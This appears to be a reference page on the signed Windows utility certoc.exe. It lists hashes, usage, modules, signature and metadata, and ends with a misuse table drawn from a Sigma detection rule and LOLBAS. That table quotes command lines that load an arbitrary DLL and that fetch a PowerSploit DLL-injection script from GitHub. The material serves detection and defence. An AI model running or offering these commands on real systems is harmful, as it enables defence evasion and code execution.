certoc.exe

File Path: C:\Windows\system32\certoc.exe
Description: CertOC.exe

Hashes

Type	Hash
MD5	`D75A554FDA8443AA0CC236D2768F7F21`
SHA1	`FD0717D291A287DA36553B43AB3E661C1FC657DB`
SHA256	`DEBC4F3E7B3D7AA72763170660EC9382021935E675F3BAA5E1A585B3C94FCD73`
SHA384	`2E43462033B1146E00E715CD0AB2C7694BD06FE3521792D2EF66571DA797A86F29D51A22F1D0BB67A0E03C1AB2307ACD`
SHA512	`5642E65A389B89A98A615D3AC868CAE7CC4CE211193F0C8DDDB380772A32512ECA414FE31FB332A36F2A32A5210C4DAE51CF13B623FD5C5C4228A46CC81862D0`
SSDEEP	`1536:eicU1pleiOsnoGqfEOF11f1mPgKCftrUtWD0i4c1B2T6TvnF9cWT8YlrDbMtLR3s:Af0otsOFJmuftYWD0ix8rtLFifaYkM`
IMP	`964F0F5F0131DAC0DAD3E441F0CC521B`
PESHA1	`3A06C5DEB3AF4FCF83BED0DD5999AC293DEDE7C4`
PE256	`E724BA5AE14BBF5CBE71B1B0CDCB638985C2F125B49061CCDC92FCF9C0238453`

Runtime Data

Usage (stdout):

Missing command

Usage:
  certoc -GetCACaps URL
  certoc -SCEP [-User] URL
  certoc -store [-User] StoreName [CertId]
  certoc -addstore [-User] StoreName file
  certoc -delstore [-User] StoreName CertId [SaveFile.sst]
  certoc -viewstore [-User] StoreName
  certoc -ImportPFX [-User] [-p password] StoreName file
  certoc -ExportPFX [-User] [-p password] StoreName CertId file
  certoc -ImportPFXToProvider [-User] [-p password] file [Provider [ContainerPrefix [ImportPFXFlags]]]
  certoc -Pulse {Pregen,PregenDelay,PregenOOBE,AIKEnroll}
  certoc -CredUI [-User] [-Modal] StoreName [CertId]
  certoc -LoadDll ModuleName
  certoc -AddTestEKCert
  certoc -EKCert

The parameter is incorrect. 0x80070057 (WIN32: 87 ERROR_INVALID_PARAMETER)

Loaded Modules:

Path
C:\Windows\System32\bcrypt.dll
C:\Windows\System32\bcryptPrimitives.dll
C:\Windows\system32\certoc.exe
C:\Windows\System32\clbcatq.dll
C:\Windows\System32\combase.dll
C:\Windows\System32\CRYPT32.dll
C:\Windows\System32\cryptsp.dll
C:\Windows\System32\kernel.appcore.dll
C:\Windows\System32\KERNEL32.DLL
C:\Windows\System32\KERNELBASE.dll
C:\Windows\System32\MSASN1.dll
C:\Windows\System32\msvcp_win.dll
C:\Windows\System32\msvcrt.dll
C:\Windows\system32\ncrypt.dll
C:\Windows\system32\NTASN1.dll
C:\Windows\SYSTEM32\ntdll.dll
C:\Windows\System32\OLEAUT32.dll
C:\Windows\System32\RPCRT4.dll
C:\Windows\System32\shcore.dll
C:\Windows\System32\ucrtbase.dll

Signature

Status: Signature verified.
Serial: 33000001C422B2F79B793DACB20000000001C4
Thumbprint: AE9C1AE54763822EEC42474983D8B635116C8452
Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

Original Filename: CertOC.exe.mui
Product Name: Microsoft Windows Operating System
Company Name: Microsoft Corporation
File Version: 10.0.17763.1 (WinBuild.160101.0800)
Product Version: 10.0.17763.1
Language: English (United States)
Machine Type: 64-bit

File Scan

VirusTotal Detections: 0/73
VirusTotal Link: https://www.virustotal.com/gui/file/debc4f3e7b3d7aa72763170660ec9382021935e675f3baa5e1a585b3c94fcd73/detection/

Possible Misuse

The following table contains possible examples of certoc.exe being misused. While certoc.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source	Source File	Example	License
sigma	proc_creation_win_certoc_execution.yml	`title: Suspicious Load DLL via CertOC.exe`	DRL 1.0
sigma	proc_creation_win_certoc_execution.yml	`description: Detects when a user installs certificates by using CertOC.exe to loads the target DLL file.`	DRL 1.0
sigma	proc_creation_win_certoc_execution.yml	`Image\\|endswith: '\certoc.exe'`	DRL 1.0
LOLBAS	Certoc.yml	`Name: CertOC.exe`
LOLBAS	Certoc.yml	`- Command: certoc.exe -LoadDLL "C:\test\calc.dll"`
LOLBAS	Certoc.yml	`- Command: certoc.exe -GetCACAPS https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-DllInjection.ps1`
LOLBAS	Certoc.yml	`- Path: c:\windows\system32\certoc.exe`
LOLBAS	Certoc.yml	`- Path: c:\windows\syswow64\certoc.exe`
LOLBAS	Certoc.yml	`- IOC: Unsigned DLL load via certoc.exe`
LOLBAS	Certoc.yml	`- IOC: Network connection via certoc.exe`